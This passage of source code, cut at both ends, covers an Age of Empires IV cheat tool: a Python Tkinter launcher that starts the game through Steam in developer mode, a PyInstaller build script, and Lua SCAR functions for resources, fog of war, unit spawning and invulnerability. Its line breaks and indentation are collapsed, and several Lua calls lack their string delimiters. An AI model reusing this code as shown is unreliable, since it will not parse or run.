self.launch_with_steam() else: # 否 - Steam启动 self.launch_with_steam() def launch_with_steam(self): """使用Steam协议启动游戏""" try: self.add_log("🎮 正在使用Steam命令行启动游戏...") # 完整的启动参数 - 包含默认参数和开发者参数 launch_options = [ "-dev", "-nomovies" ] # 尝试找到Steam安装路径 steam_paths = [ "C:/Program Files (x86)/Steam/steam.exe", "C:/Program Files/Steam/steam.exe", "D:/Steam/steam.exe", "E:/Steam/steam.exe", "F:/Steam/steam.exe" ] steam_exe = None for path in steam_paths: if os.path.exists(path): steam_exe = path break if steam_exe: # 使用Steam命令行启动游戏 self.add_log(f"🔧 找到Steam: {steam_exe}") self.add_log(f"🔧 启动参数: {' '.join(launch_options)}") import subprocess # 构建Steam命令 - 使用-applaunch参数 steam_cmd = [steam_exe, "-applaunch", "1466860"] + launch_options self.add_log(f"🔧 执行命令: {' '.join(steam_cmd)}") # 启动游戏 subprocess.Popen(steam_cmd, shell=False) self.add_log("✅ Steam命令行启动成功") # 显示成功信息 messagebox.showinfo("Steam启动", "✅ 已通过Steam命令行启动游戏！\n\n" f"🔧 使用的启动参数:\n{' '.join(launch_options)}\n\n" "🎮 请等待游戏加载完成后使用F1热键\n\n" "💡 这些参数将自动生效，无需手动设置") else: # 如果找不到Steam，回退到协议方式 self.add_log("⚠️ 未找到Steam安装路径，使用协议方式启动") # Steam协议URL steam_url = "steam://rungameid/1466860" launch_options_str = " ".join(launch_options) import webbrowser # 记录启动参数 self.add_log(f"🔧 推荐启动参数: {launch_options_str}") # 使用webbrowser打开Steam协议 webbrowser.open(steam_url) self.add_log("✅ Steam协议调用成功") self.add_log("💡 提示：启动参数需要在Steam游戏属性中手动设置") # 显示设置说明 messagebox.showinfo("Steam启动", "✅ 已通过Steam协议启动游戏！\n\n" "📋 推荐在Steam中手动设置启动参数：\n" "1. 在Steam库中右键游戏\n" "2. 选择'属性'\n" f"3. 在启动选项中添加：\n{launch_options_str}\n\n" "🎮 请等待游戏加载完成后使用F1热键") except Exception as e: self.add_log(f"❌ Steam启动失败: {e}") messagebox.showerror("错误", f"Steam启动失败: {e}\n\n请确保：\n1. 已安装Steam客户端\n2. Steam正在运行\n3. 拥有帝国时代4游戏") class HotkeyDialog: """快捷键编辑对话框""" def __init__(self, parent, title, hotkey_data=None): self.result = None # 创建对话框 self.dialog = tk.Toplevel(parent) self.dialog.title(title) self.dialog.geometry("400x250") self.dialog.resizable(False, False) self.dialog.transient(parent) self.dialog.grab_set() # 居中显示 self.dialog.update_idletasks() x = (self.dialog.winfo_screenwidth() // 2) - (400 // 2) y = (self.dialog.winfo_screenheight() // 2) - (250 // 2) self.dialog.geometry(f"400x250+{x}+{y}") # 创建界面 self.create_widgets(hotkey_data) # 等待对话框关闭 self.dialog.wait_window() def create_widgets(self, hotkey_data): """创建对话框界面""" main_frame = ttk.Frame(self.dialog, padding=20) main_frame.pack(fill=tk.BOTH, expand=True) # 名称输入 ttk.Label(main_frame, text="名称:", font=('微软雅黑', 10)).pack(anchor=tk.W) self.name_var = tk.StringVar(value=hotkey_data.get('name', '') if hotkey_data else '') name_entry = ttk.Entry(main_frame, textvariable=self.name_var, width=40) name_entry.pack(fill=tk.X, pady=(5, 15)) # 快捷键输入 ttk.Label(main_frame, text="快捷键:", font=('微软雅黑', 10)).pack(anchor=tk.W) self.hotkey_var = tk.StringVar(value=hotkey_data.get('hotkey', '') if hotkey_data else '') hotkey_entry = ttk.Entry(main_frame, textvariable=self.hotkey_var, width=40) hotkey_entry.pack(fill=tk.X, pady=(5, 10)) # 提示信息 tip_label = ttk.Label(main_frame, text="示例: ctrl+f, alt+tab, shift+a", font=('微软雅黑', 8), foreground='gray') tip_label.pack(anchor=tk.W, pady=(0, 15)) # 启用状态 self.enabled_var = tk.BooleanVar(value=hotkey_data.get('enabled', True) if hotkey_data else True) enabled_check = ttk.Checkbutton(main_frame, text="启用此快捷键", variable=self.enabled_var) enabled_check.pack(anchor=tk.W, pady=(0, 20)) # 按钮区域 button_frame = ttk.Frame(main_frame) button_frame.pack(fill=tk.X) ttk.Button(button_frame, text="确定", command=self.on_ok).pack(side=tk.RIGHT, padx=(10, 0)) ttk.Button(button_frame, text="取消", command=self.on_cancel).pack(side=tk.RIGHT) def on_ok(self): """确定按钮处理""" name = self.name_var.get().strip() hotkey = self.hotkey_var.get().strip() if not name: messagebox.showerror("错误", "请输入名称") return if not hotkey: messagebox.showerror("错误", "请输入快捷键") return self.result = { 'name': name, 'hotkey': hotkey, 'enabled': self.enabled_var.get() } self.dialog.destroy() def on_cancel(self): """取消按钮处理""" self.dialog.destroy() def main(): """主函数""" try: app = ModernAOECheatGUI() app.run() except Exception as e: print(f"程序启动失败: {e}") messagebox.showerror("错误", f"程序启动失败: {e}") if __name__ == "__main__": main() 编译代码#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 帝国时代4修改器 - 打包为EXE脚本 Build script for AOE4 Cheat Tool """ import subprocess import sys import os import shutil def check_pyinstaller(): """检查PyInstaller是否已安装""" try: import PyInstaller print("✅ PyInstaller已安装") return True except ImportError: print("❌ PyInstaller未安装") return False def install_pyinstaller(): """安装PyInstaller""" print("🔧 正在安装PyInstaller...") try: subprocess.run([sys.executable, "-m", "pip", "install", "pyinstaller"], check=True) print("✅ PyInstaller安装成功") return True except subprocess.CalledProcessError: print("❌ PyInstaller安装失败") return False def build_exe(): """打包为EXE文件""" print("🚀 开始打包...") # 准备打包命令 cmd = [ "pyinstaller", "--onefile", # 打包为单文件 "--windowed", # 不显示控制台窗口 "--name=帝国时代4修改器", # 设置程序名称 "--icon=icon.ico", # 设置图标（如果存在） "--add-data=cheat.lua;.", # 添加cheat.lua文件 "--hidden-import=PIL", # 确保PIL模块被包含 "--hidden-import=PIL._tkinter_finder", "--collect-all=tkinter", # 包含tkinter所有组件 "aoe_modern_gui.py" # 主程序文件 ] # 如果没有图标文件，移除图标参数 if not os.path.exists("icon.ico"): cmd = [c for c in cmd if not c.startswith("--icon")] print("⚠️ 未找到icon.ico文件，将使用默认图标") try: print("📦 执行打包命令...") result = subprocess.run(cmd, check=True, capture_output=True, text=True) print("✅ 打包成功！") # 检查输出文件 exe_path = os.path.join("dist", "帝国时代4修改器.exe") if os.path.exists(exe_path): file_size = os.path.getsize(exe_path) / 1024 / 1024 # MB print(f"📄 生成的EXE文件: {exe_path}") print(f"📏 文件大小: {file_size:.1f} MB") else: print("⚠️ 未找到生成的EXE文件") return True except subprocess.CalledProcessError as e: print(f"❌ 打包失败: {e}") if e.stdout: print("标准输出:", e.stdout) if e.stderr: print("错误输出:", e.stderr) return False def create_release_package(): """创建发布包""" print("📦 创建发布包...") release_dir = "release" if os.path.exists(release_dir): shutil.rmtree(release_dir) os.makedirs(release_dir) # 复制必要文件 files_to_copy = [ ("dist/帝国时代4修改器.exe", "帝国时代4修改器.exe"), ("cheat.lua", "cheat.lua"), ("README.md", "使用说明.txt") ] for src, dst in files_to_copy: if os.path.exists(src): dst_path = os.path.join(release_dir, dst) if src.endswith('.md'): # 如果是markdown文件，复制为txt shutil.copy2(src, dst_path) else: shutil.copy2(src, dst_path) print(f"✅ 复制: {src} -> {dst_path}") else: print(f"⚠️ 文件不存在: {src}") print(f"🎉 发布包已创建到: {release_dir}/") return True def cleanup(): """清理临时文件""" print("🧹 清理临时文件...") dirs_to_remove = ["build", "__pycache__"] files_to_remove = ["*.spec"] for dir_name in dirs_to_remove: if os.path.exists(dir_name): shutil.rmtree(dir_name) print(f"✅ 删除目录: {dir_name}") import glob for pattern in files_to_remove: for file_path in glob.glob(pattern): os.remove(file_path) print(f"✅ 删除文件: {file_path}") def main(): """主函数""" print("🎮 帝国时代4修改器 - EXE打包工具") print("=" * 50) # 检查必要文件 required_files = ["aoe_modern_gui.py", "cheat.lua"] missing_files = [f for f in required_files if not os.path.exists(f)] if missing_files: print(f"❌ 缺少必要文件: {', '.join(missing_files)}") return False # 检查并安装PyInstaller if not check_pyinstaller(): if not install_pyinstaller(): return False try: # 打包EXE if not build_exe(): return False # 创建发布包 create_release_package() # 清理临时文件 cleanup() print("\n🎉 打包完成！") print("📁 发布文件位于 release/ 目录") print("\n📋 发布包包含:") print(" - 帝国时代4修改器.exe (主程序)") print(" - cheat.lua (作弊脚本)") print(" - 使用说明.txt (使用指南)") print("\n✨ 现在可以将release目录的文件分发给用户了！") return True except Exception as e: print(f"❌ 打包过程中出现错误: {e}") return False if __name__ == "__main__": success = main() input(f"\n{'成功' if success else '失败'}！按回车键退出...") 脚本代码 Scar_DoString(g_cheat_sgroup=SGroup_CreateIfNotFound("g_cheat_sgroup") g_cheat_egroup=EGroup_CreateIfNotFound("g_cheat_egroup") ResourceContainer_CreateCache("g_cheat_cache", 256) print("container initialized") ) Scar_DoString(function Cheat_ToggleFOW() if g_cheat_fow_disabled then FOW_PlayerUnRevealAll(Game_GetLocalPlayer()) else FOW_PlayerRevealAll(Game_GetLocalPlayer()) end g_cheat_fow_disabled=not g_cheat_fow_disabled print("g_cheat_fow_disabled="..tostring(g_cheat_fow_disabled)) end ) Scar_DoString([[ g_cheat_bonus_upgrade_list={ "story_mode_health_bonus", "upgrade_reliable_supplies_fre", "upgrade_shipworthy_timber_fre", "upgrade_surplus_iron_fre", } print("g_cheat_bonus_upgrade_list initialized") function Cheat_ToggleBonus() local all_upgraded=true for _,upgrade in ipairs(g_cheat_bonus_upgrade_list) do if not Player_HasUpgrade(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint(upgrade)) then all_upgraded=false Player_CompleteUpgrade(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint(upgrade)) print(upgrade.."=true") end end if all_upgraded then for _,upgrade in ipairs(g_cheat_bonus_upgrade_list) do Player_RemoveUpgrade(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint(upgrade)) print(upgrade.."=false") end end end ]]) Scar_DoString([[ g_cheat_bonus_ability_list={ "tower_outpost_alert_aura_nrm", "tower_outpost_alert_aura_eng", "network_of_citadels_eng", } print("g_cheat_bonus_ability_list initialized") function Cheat_AddBonusAbility() Misc_GetSelectedEntities(g_cheat_egroup,true) for _,ability in ipairs(g_cheat_bonus_ability_list) do EGroup_AddAbility(g_cheat_egroup,BP_GetAbilityBlueprint(ability)) print(ability.."=true") end end ]]) Scar_DoString([[ function Cheat_AddResources() Player_AddResource(Game_GetLocalPlayer(),RT_Command,99999) Player_AddResource(Game_GetLocalPlayer(),RT_Food,99999) Player_AddResource(Game_GetLocalPlayer(),RT_Wood,99999) Player_AddResource(Game_GetLocalPlayer(),RT_Gold,99999) Player_AddResource(Game_GetLocalPlayer(),RT_Stone,99999) if RT_Merc_Byz then Player_AddResource(Game_GetLocalPlayer(),RT_Merc_Byz,99999) end local experience = Player_GetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_total_experience") + 99999 Player_SetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_total_experience", experience) print("resources+=99999") end ]]) Scar_DoString(function Cheat_TogglePopCap() if Player_GetCurrentPopulationCap(Game_GetLocalPlayer(),CT_Personnel)==99999 then Player_ClearPopCapOverride(Game_GetLocalPlayer()) else Player_SetPopCapOverride(Game_GetLocalPlayer(),99999) end print("pop_cap="..Player_GetCurrentPopulationCap(Game_GetLocalPlayer(),CT_Personnel)) end ) Scar_DoString([[ g_cheat_spawn_villager_list={ "unit_villager_1_eng", "unit_villager_1_nrm", "unit_villager_1_chi", "unit_villager_1_fre", "unit_villager_1_hre", "unit_villager_1_rus", "unit_villager_1_abb", "unit_villager_1_sul", "unit_villager_1_mon", } print("g_cheat_spawn_villager_list initialized") function Cheat_SpawnVillager() local pos=Camera_GetPivot() if Misc_GetScreenCenterPosition then pos=Misc_GetScreenCenterPosition() end for _,villager in ipairs(g_cheat_spawn_villager_list) do Squad_CreateAndSpawnTowardCheat(BP_GetSquadBlueprint(villager), Game_GetLocalPlayer(), 0, pos, pos) print(villager.." spawned") end end ]]) Scar_DoString([[ g_cheat_spawn_villager_xp3_list={ "unit_villager_1_mal", "unit_villager_1_ott", "unit_villager_1_jpn", "unit_villager_1_byz", "unit_villager_1_abb_ha_01", "unit_villager_1_chi_ha_01", "unit_villager_1_fre_ha_01", "unit_villager_1_hre_ha_01", } print("g_cheat_spawn_villager_xp3_list initialized") function Cheat_SpawnVillagerXP3() local pos=Camera_GetPivot() if Misc_GetScreenCenterPosition then pos=Misc_GetScreenCenterPosition() end for _,villager in ipairs(g_cheat_spawn_villager_xp3_list) do Squad_CreateAndSpawnTowardCheat(BP_GetSquadBlueprint(villager), Game_GetLocalPlayer(), 0, pos, pos) print(villager.." spawned") end end ]]) Scar_DoString([[ if not g_cheat_fast_gather_modifier_list then g_cheat_fast_gather_modifier_list={ Modifier_Create(MAT_EntityTypeAndDescendants, "resource_entity_harvest_rate_food", MUT_Multiplication, false, 100, "unit_villager_1"), Modifier_Create(MAT_EntityTypeAndDescendants, "resource_entity_harvest_rate_wood", MUT_Multiplication, false, 100, "unit_villager_1"), Modifier_Create(MAT_EntityTypeAndDescendants, "resource_entity_harvest_rate_gold", MUT_Multiplication, false, 100, "unit_villager_1"), Modifier_Create(MAT_EntityTypeAndDescendants, "resource_entity_harvest_rate_stone", MUT_Multiplication, false, 100, "unit_villager_1"), applied_modid={} } end print("g_cheat_fast_gather_modifier_list initialized") function Cheat_ToggleFastGather() if #g_cheat_fast_gather_modifier_list.applied_modid==0 then for i,modifier in ipairs(g_cheat_fast_gather_modifier_list) do g_cheat_fast_gather_modifier_list.applied_modid[i]=Modifier_ApplyToPlayer(modifier, Game_GetLocalPlayer(), 0) end else Modifier_Remove(g_cheat_fast_gather_modifier_list.applied_modid) end print("g_cheat_fast_gather="..tostring(#g_cheat_fast_gather_modifier_list.applied_modid~=0)) end ]]) Scar_DoString([[ if not g_cheat_fast_production_modifier_list then g_cheat_fast_production_modifier_list={ Modifier_Create(MAT_Player, "production_speed_player_modifier", MUT_Multiplication, false, 100, nil), applied_modid={} } end print("g_cheat_fast_production_modifier_list initialized") function Cheat_ToggleFastProduction() if #g_cheat_fast_production_modifier_list.applied_modid==0 then for i,modifier in ipairs(g_cheat_fast_production_modifier_list) do g_cheat_fast_production_modifier_list.applied_modid[i]=Modifier_ApplyToPlayer(modifier, Game_GetLocalPlayer(), 0) end else Modifier_Remove(g_cheat_fast_production_modifier_list.applied_modid) end print("g_cheat_fast_production="..tostring(#g_cheat_fast_production_modifier_list.applied_modid~=0)) end ]]) Scar_DoString([[ if not g_cheat_fast_construction_and_repair_modifier_list then g_cheat_fast_construction_and_repair_modifier_list={ applied_modid={} } for _,ebp in ipairs(BP_GetEntityBlueprintsWithType("human")) do table.insert(g_cheat_fast_construction_and_repair_modifier_list,Modifier_Create(MAT_EntityType, "construction_rate", MUT_Multiplication, false, 100, ebp)) table.insert(g_cheat_fast_construction_and_repair_modifier_list,Modifier_Create(MAT_EntityType, "repair_rate_modifier", MUT_Multiplication, false, 100, ebp)) end end print("g_cheat_fast_construction_and_repair_modifier_list initialized") function Cheat_ToggleFastConstructionAndRepair() if #g_cheat_fast_construction_and_repair_modifier_list.applied_modid==0 then for i,modifier in ipairs(g_cheat_fast_construction_and_repair_modifier_list) do g_cheat_fast_construction_and_repair_modifier_list.applied_modid[i]=Modifier_ApplyToPlayer(modifier, Game_GetLocalPlayer(), 0) end else Modifier_Remove(g_cheat_fast_construction_and_repair_modifier_list.applied_modid) end print("g_cheat_fast_construction_and_repair="..tostring(#g_cheat_fast_construction_and_repair_modifier_list.applied_modid~=0)) end ]]) Scar_DoString([[ if not g_cheat_fast_cd_modifier_list then g_cheat_fast_cd_modifier_list={ applied_modid={} } for i=0,BP_GetPropertyBagGroupCount(PBG_Ability)-1 do g_cheat_fast_cd_modifier_list[i+1]=Modifier_Create(MAT_Ability, "ability_recharge_time_modifier", MUT_Multiplication, false, 0.01, BP_GetPropertyBagGroupPathName(PBG_Ability,i)) end end print("g_cheat_fast_cd_modifier_list initialized") if not g_cheat_jeanne_d_arc_charges_cd_list then g_cheat_jeanne_d_arc_charges_cd_list={ Player_GetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_wrath_charges_cooldown"), Player_GetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_consecrate_charges_cooldown"), } end print("g_cheat_jeanne_d_arc_charges_cd_list initialized") function Cheat_ToggleFastCD() if #g_cheat_fast_cd_modifier_list.applied_modid==0 then for i,modifier in ipairs(g_cheat_fast_cd_modifier_list) do g_cheat_fast_cd_modifier_list.applied_modid[i]=Modifier_ApplyToPlayer(modifier, Game_GetLocalPlayer(), 0) end Player_SetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_wrath_charges_cooldown", g_cheat_jeanne_d_arc_charges_cd_list[1]/100) Player_SetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_consecrate_charges_cooldown", g_cheat_jeanne_d_arc_charges_cd_list[2]/100) else Modifier_Remove(g_cheat_fast_cd_modifier_list.applied_modid) Player_SetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_wrath_charges_cooldown", g_cheat_jeanne_d_arc_charges_cd_list[1]) Player_SetStateModelFloat(Game_GetLocalPlayer(), "jeanne_d_arc_consecrate_charges_cooldown", g_cheat_jeanne_d_arc_charges_cd_list[2]) end print("g_cheat_fast_cd="..tostring(#g_cheat_fast_cd_modifier_list.applied_modid~=0)) end ]]) Scar_DoString(function Cheat_AgeUp() Player_SetCurrentAge(Game_GetLocalPlayer(),Player_GetCurrentAge(Game_GetLocalPlayer())+1) print("age="..Player_GetCurrentAge(Game_GetLocalPlayer())) end ) Scar_DoString([[ function Cheat_AgeDown() Player_SetCurrentAge(Game_GetLocalPlayer(),Player_GetCurrentAge(Game_GetLocalPlayer())-1) EGroup_Duplicate(Player_GetAllEntities(Game_GetLocalPlayer()),g_cheat_egroup) EGroup_Filter(g_cheat_egroup,"wonder",FILTER_REMOVE) EGroup_ForEach(g_cheat_egroup, function(_,_,entity) Entity_ConvertBlueprint(entity, Entity_GetBlueprint(entity)) end ) print("age="..Player_GetCurrentAge(Game_GetLocalPlayer())) end ]]) Scar_DoString([[ if not g_cheat_lock_current_tier_visuals_eid_list then g_cheat_lock_current_tier_visuals_eid_list={} end print("g_cheat_lock_current_tier_visuals_eid_list initialized") function Cheat_ToggleLockCurrentTierVisuals() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup,true) local entity SGroup_ForEach(g_cheat_sgroup, function(_,_,squad) entity=Squad_GetFirstEntity(squad) g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID]=not g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID] Entity_SetLockCurrentTierVisuals(entity,g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID]) print("lock_current_tier_visuals="..tostring(g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID])) end ) EGroup_ForEach(g_cheat_egroup, function(_,_,entity) g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID]=not g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID] Entity_SetLockCurrentTierVisuals(entity,g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID]) print("lock_current_tier_visuals="..tostring(g_cheat_lock_current_tier_visuals_eid_list[entity.EntityID])) end ) end ]]) Scar_DoString([[ g_cheat_building_ebp_list=BP_GetEntityBlueprintsWithType("building") print("g_cheat_building_ebp_list initialized") g_cheat_town_center_ebp_list=BP_GetEntityBlueprintsWithType_Internal({"hq","town_center_non_capital"},ALL) print("g_cheat_town_center_ebp_list initialized") function Cheat_ToggleBuildingProductionAvailability() if g_cheat_building_production_unlocked then for _,ebp in ipairs(g_cheat_building_ebp_list) do Player_SetEntityProductionAvailability(Game_GetLocalPlayer(),ebp,ITEM_DEFAULT) end else for _,ebp in ipairs(g_cheat_building_ebp_list) do Player_SetEntityProductionAvailability(Game_GetLocalPlayer(),ebp,ITEM_UNLOCKED) end for _,ebp in ipairs(g_cheat_town_center_ebp_list) do Player_SetEntityProductionAvailability(Game_GetLocalPlayer(),ebp,ITEM_REMOVED) end end g_cheat_building_production_unlocked=not g_cheat_building_production_unlocked print("g_cheat_building_production_unlocked="..tostring(g_cheat_building_production_unlocked)) end ]]) Scar_DoString([[ function Cheat_UnlockAvailability() g_cheat_building_production_unlocked=false Player_ClearAvailabilities(Game_GetLocalPlayer()) Player_SetUpgradeAvailability(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint("upgrade_outpost_handcannonslits_chi"),ITEM_UNLOCKED) Player_SetUpgradeAvailability(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint("upgrade_outpost_arrowslits"),ITEM_UNLOCKED) Player_SetUpgradeAvailability(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint("upgrade_outpost_springald"),ITEM_UNLOCKED) Player_SetUpgradeAvailability(Game_GetLocalPlayer(),BP_GetUpgradeBlueprint("upgrade_outpost_cannon"),ITEM_UNLOCKED) print("availabilities unlocked") end ]]) Scar_DoString([[ if not g_cheat_clipboard then g_cheat_clipboard={} end print("g_cheat_clipboard initialized") function Cheat_Copy() g_cheat_clipboard={} Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup,true) local group_center,item if not SGroup_IsEmpty(g_cheat_sgroup) then group_center=SGroup_GetPosition(g_cheat_sgroup) SGroup_ForEach(g_cheat_sgroup, function(_,_,squad) item={} item.bp=Squad_GetBlueprint(squad) item.owner=Util_GetPlayerOwner(squad) item.offset=Squad_GetPosition(squad) item.offset.x=item.offset.x-group_center.x item.offset.y=item.offset.y-group_center.y item.offset.z=item.offset.z-group_center.z table.insert(g_cheat_clipboard,item) end ) elseif not EGroup_IsEmpty(g_cheat_egroup) then group_center=EGroup_GetPosition(g_cheat_egroup) EGroup_ForEach(g_cheat_egroup, function(_,_,entity) item={} item.bp=Entity_GetBlueprint(entity) item.owner=Util_GetPlayerOwner(entity) item.offset=Entity_GetPosition(entity) item.offset.x=item.offset.x-group_center.x item.offset.y=item.offset.y-group_center.y item.offset.z=item.offset.z-group_center.z table.insert(g_cheat_clipboard,item) end ) end print("---------") print("clipboard") print("---------") print("bp_name".."\t".."player_id"..": ".."player_name".." ".."player_relation") print("---------") local id,name,relation for _,item in ipairs(g_cheat_clipboard) do if item.owner then id=World_GetPlayerIndex(item.owner) name=Player_GetDisplayName(item.owner).LocString relation=Player_ObserveRelationship(Game_GetLocalPlayer(),item.owner) if relation==R_NEUTRAL then relation="R_NEUTRAL" elseif relation==R_ALLY then relation="R_ALLY" elseif relation==R_ENEMY then relation="R_ENEMY" else relation="R_UNDEFINED" end else id=0 name="gaia" relation="world" end print(BP_GetName(item.bp).."\t"..id..": "..name.." "..relation) end print("---------") end function Cheat_Cut() Cheat_Copy() Cheat_Delete() end function Cheat_Paste() local pos=World_Pos(0,0,0) local screen_center=Camera_GetPivot() if Misc_GetScreenCenterPosition then screen_center=Misc_GetScreenCenterPosition() end local entity for _,item in ipairs(g_cheat_clipboard) do pos.x=screen_center.x+item.offset.x pos.y=screen_center.y+item.offset.y pos.z=screen_center.z+item.offset.z if BP_GetType(item.bp)==PBGTYPE_Squad then if item.owner then Squad_CreateAndSpawnTowardCheat(item.bp, item.owner, 0, pos, pos) else Squad_CreateAndSpawnTowardENVCheat(item.bp, 0, pos, pos) end else Entity_Precache(item.bp,0,Game_GetLocalPlayer(),"g_cheat_cache","","") if item.owner then entity=Entity_Create(item.bp, item.owner, pos, true) else entity=Entity_CreateENV(item.bp, pos, true) end Entity_ForceConstruct(entity) Entity_Spawn(entity) end end print("clipboard pasted") end ]]) Scar_DoString([[ function Cheat_CopyOwner() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) if SGroup_IsEmpty(g_cheat_sgroup) then g_cheat_owner_clipboard=Util_GetPlayerOwner(g_cheat_egroup) else g_cheat_owner_clipboard=Util_GetPlayerOwner(g_cheat_sgroup) end local id,name,relation if g_cheat_owner_clipboard then id=World_GetPlayerIndex(g_cheat_owner_clipboard) name=Player_GetDisplayName(g_cheat_owner_clipboard).LocString relation=Player_ObserveRelationship(Game_GetLocalPlayer(),g_cheat_owner_clipboard) if relation==R_NEUTRAL then relation="R_NEUTRAL" elseif relation==R_ALLY then relation="R_ALLY" elseif relation==R_ENEMY then relation="R_ENEMY" else relation="R_UNDEFINED" end else id=0 name="gaia" relation="world" end print("---------") print("owner_clipboard") print("---------") print("player_id"..": ".."player_name".." ".."player_relation") print("---------") print(id..": "..name.." "..relation) print("---------") end function Cheat_PasteOwner() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup,true) if g_cheat_owner_clipboard then SGroup_SetPlayerOwner(g_cheat_sgroup,g_cheat_owner_clipboard) EGroup_SetPlayerOwner(g_cheat_egroup,g_cheat_owner_clipboard) else SGroup_SetWorldOwned(g_cheat_sgroup) EGroup_SetWorldOwned(g_cheat_egroup) end Sound_Play2D("sfx_ability_monk_conversion_cast") print("owner pasted") end ]]) Scar_DoString(function Cheat_Heal() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) SGroup_CallSquadFunction(g_cheat_sgroup,Squad_SetHealth,1) EGroup_CallEntityFunction(g_cheat_egroup,Entity_SetHealth,1) print("selection healed") end ) Scar_DoString([[ function Cheat_ToggleInvulnerable() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) EGroup_CallEntityFunction(g_cheat_egroup,Entity_SetStayBurningWhileInvulnerable,true) if not SGroup_IsEmpty(g_cheat_sgroup) then local invulnerable=not SGroup_GetInvulnerable(g_cheat_sgroup,ALL) SGroup_SetInvulnerable(g_cheat_sgroup,invulnerable) print("invulnerable="..tostring(invulnerable)) elseif not EGroup_IsEmpty(g_cheat_egroup) then local invulnerable=not EGroup_GetInvulnerable(g_cheat_egroup,ALL) EGroup_SetInvulnerable(g_cheat_egroup,invulnerable) print("invulnerable="..tostring(invulnerable)) end end ]]) Scar_DoString([[ if not g_cheat_super_speed_modifier_list then g_cheat_super_speed_modifier_list={ Modifier_Create(MAT_Entity, "speed_maximum_modifier", MUT_Multiplication, false, 100, nil), applied_modid={} } end print("g_cheat_super_speed_modifier_list initialized") function Cheat_ToggleSuperSpeed() local all_accelerated=true Misc_GetSelectedSquads(g_cheat_sgroup, true) SGroup_ForEach(g_cheat_sgroup, function(_,_,squad) if not g_cheat_super_speed_modifier_list.applied_modid[squad.SquadID] then all_accelerated=false g_cheat_super_speed_modifier_list.applied_modid[squad.SquadID]=Modifier_ApplyToSquad(g_cheat_super_speed_modifier_list[1],squad,0) print("super_speed=true") end end ) if all_accelerated then SGroup_ForEach(g_cheat_sgroup, function(_,_,squad) Modifier_Remove(g_cheat_super_speed_modifier_list.applied_modid[squad.SquadID]) g_cheat_super_speed_modifier_list.applied_modid[squad.SquadID]=nil print("super_speed=false") end ) end end ]]) Scar_DoString(function Cheat_Teleport() local pos=Camera_GetPivot() if Misc_GetScreenCenterPosition then pos=Misc_GetScreenCenterPosition() end Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) SGroup_WarpToPos(g_cheat_sgroup,pos) EGroup_WarpToPos(g_cheat_egroup,pos) print("selection teleported") end ) Scar_DoString([[ function Cheat_Rotate() local pos=Camera_GetPivot() if Misc_GetScreenCenterPosition then pos=Misc_GetScreenCenterPosition() end Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) SGroup_SnapFacePosition(g_cheat_sgroup,pos) EGroup_ForEach(g_cheat_egroup, function(_,_,entity) Entity_SetHeading(entity,Util_GetDirectionFromAtoB(g_cheat_egroup,pos),true) end ) print("selection rotated") end ]]) Scar_DoString(function Cheat_SetOnFire() Misc_GetSelectedEntities(g_cheat_egroup, true) EGroup_CallEntityFunction(g_cheat_egroup,Entity_SetHealth,0.25) print("selection ignited") end ) Scar_DoString(function Cheat_Kill() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) SGroup_Kill(g_cheat_sgroup) EGroup_Kill(g_cheat_egroup) print("selection killed") end ) Scar_DoString(function Cheat_Delete() Misc_GetSelectedSquads(g_cheat_sgroup, true) Misc_GetSelectedEntities(g_cheat_egroup, true) SGroup_DestroyAllSquads(g_cheat_sgroup) EGroup_DestroyAllEntities(g_cheat_egroup) print("selection cleared") end ) -- needs fix Scar_DoString(function Cheat_ToggleTimerRate() if g_TimerRate==0 then g_TimerRate=1 SetTimerRate(1) else g_TimerRate=0 SetTimerRate(0) end print("g_TimerRate="..g_TimerRate) end ) Scar_DoString(if not g_cheat_player_colour_id then g_cheat_player_colour_id=1 end function Cheat_TogglePlayerColour() g_cheat_player_colour_id=g_cheat_player_colour_id%9+1 Game_SetPlayerColour(Game_GetLocalPlayer(),g_cheat_player_colour_id) print("g_cheat_player_colour_id="..g_cheat_player_colour_id) end ) Scar_DoString([[ function Cheat_SaveWorldObjects() g_cheat_world_objects={} World_GetAllNeutralSquads(g_cheat_sgroup) World_GetAllNeutralEntities(g_cheat_egroup) EGroup_FilterSquads(g_cheat_egroup,FILTER_REMOVE) SGroup_ForEach(g_cheat_sgroup, function(_,_,squad) table.insert(g_cheat_world_objects, { bp=Squad_GetBlueprint(squad), pos=Squad_GetPosition(squad), heading=Squad_GetHeading(squad), } ) end ) EGroup_ForEach(g_cheat_egroup, function(_,_,entity) table.insert(g_cheat_world_objects, { bp=Entity_GetBlueprint(entity), pos=Entity_GetPosition(entity), heading=Entity_GetHeading(entity), } ) end ) print("world objects saved") end if not 